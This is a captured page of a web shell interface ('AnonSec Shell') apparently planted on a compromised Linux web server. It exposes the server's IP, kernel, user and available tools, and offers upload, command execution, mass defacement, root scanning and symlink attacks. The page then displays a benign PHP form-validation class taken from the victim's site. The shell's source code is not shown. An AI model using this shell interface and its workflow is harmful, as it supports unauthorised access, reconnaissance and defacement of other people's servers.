AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.72   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/merenda/quixada/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/merenda/quixada/valida.php
<?php
    //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// 
    // Md. Aminul Islam (aminulsumon@yahoo.com) // 
    //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// 
    // This Page is to Generate Javascript Codes For Form Validation // 
    // [ Limitation: ] // 
    //==================================================================================================================================// 
    // function ShowJSFormValidationCode($FormName,$ControlNames,$ValidationFunctionName,$SameFields="",$ErrorMsgForSameFields=""):- // 
    // This Function Takes 5 Parameter // 
    // $FormName = The Name of the Form Inside which the HTML Controls(Eg. Textbox, List) are. // 
    // $ControlNames = Two dimensional Array Consists Control Name, Value for Check and Error Message(expected). // 
    // $ValidationFunctionName = The Name of Javascript Function Which will generated. // 
    // $SameFields = Two Control Names in One Dimensional Format which Contents needed to be Same. // 
    // $ErrorMsgForSameFields = Expected Error Message Which Will Returned For Same Field. // 
    //----------------------------------------------------------------------------------------------------------------------------------// 
    /* 
        Example:- 
                require_once("ClsJSFormValidation.cls.php"); 
                $Validity=new ClsJSFormValidation; 
                $FormName="all"; 
                $ControlNames=array("txtName" =>array("''" =>"Please Enter Your Name."), 
                                    "txtTelephone" =>array("''" =>"Please Enter Your Telephone NO."), 
                                    "txtEMail" =>array("EMail" =>""), //Message Not Required For EMail Field. Default Message Will Show. 
                                    "txtPassword" =>array("''" =>"Please Enter Your Password."), 
                                    "txtConfirmPassword"=>array("''" =>"Please Enter Confirm Password."), 
                                    "radNational" =>array("1" =>"Please Check The Nationality."), 
                                    "selStartMonth" =>array("'Select Month'"=>"Please Select Start Month.")); 
                $ValidationFunctionName="CheckValidity"; 
                $SameFields=array("txtPassword","txtConfirmPassword"); 
                $ErrorMsgForSameFields="Password and Confirm Password Are not Same."; 
                $JsCodeForFormValidation=$Validity->ShowJSFormValidationCode($FormName,$ControlNames,$ValidationFunctionName,$SameFields,$ErrorMsgForSameFields); 
                echo $JsCodeForFormValidation; 
    */

    //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//
    class ClsJSFormValidation
    {
        function ShowJSFormValidationCode($FormName, $ControlNames, $ValidationFunctionName, $SameFields = "", $ErrorMsgForSameFields = "")
        {
            $JSValidation
                = "<script language='javascript1.2'>
                            function $ValidationFunctionName() 
                            { \n";
            foreach ($ControlNames as $SingleControlName => $ConditionAndErrorMessage)
                foreach ($ConditionAndErrorMessage as $Condition => $ErrorMessage) {
                    switch ($Condition) {
                        case "''":
                            $JSValidation
                                .= "
                                            if(document.$FormName.$SingleControlName.value=='') 
                                            { 
                                                alert('$ErrorMessage'); 
                                                document.$FormName.$SingleControlName.focus(); 
                                                return false; 
                                             } \n";
                            break;
                        case "EMail":
                            $JSValidation
                                .= "
                                            var checkEmail; 
                                            checkEmail=document.$FormName.$SingleControlName.value; 
                                            if(checkEmail=='') 
                                            { 
                                                alert('Please Enter Your Email Address.'); 
                                                document.$FormName.$SingleControlName.focus(); 
                                                return false; 
                                            } 
                                            if ((checkEmail.indexOf('@') <=0) || ((checkEmail.charAt(checkEmail.length-4) != '.') && (checkEmail.charAt(checkEmail.length-3) != '.'))) 
                                            { 
                                                alert('Invalid Email Address.'); 
                                                document.$FormName.$SingleControlName.focus(); 
                                                return false; 
                                            } \n";
                            break;
                        default:
                            $JSValidation
                                .= "
                                            if(document.$FormName.$SingleControlName.value==$Condition) 
                                            { 
                                                alert('$ErrorMessage'); 
                                                document.$FormName.$SingleControlName.focus(); 
                                                return false; 
                                             } \n";
                    } //End of Switch 
                } //End of foreach($SingleControl as ControlName=>$ConditionForControl) 
            if (is_array($SameFields)) {
                $JSValidation .= "if(";
                foreach ($SameFields as $SingleField)
                    $JSValidation .= "document.$FormName.$SingleField.value!=";
                $JSValidation = substr("$JSValidation", 0, strlen($JSValidation) - 2);
                $JSValidation
                    .= ")
                                    { 
                                        alert('$ErrorMsgForSameFields'); 
                                        document.$FormName.$SingleField.focus(); 
                                        return false; 
                                     } \n";
            }
            $JSValidation
                .= " return true;
                             } //End of JS Validation Function 
                             </script> \n";
            return $JSValidation;
        }
    } 

Anon7 - 2022
AnonSec Team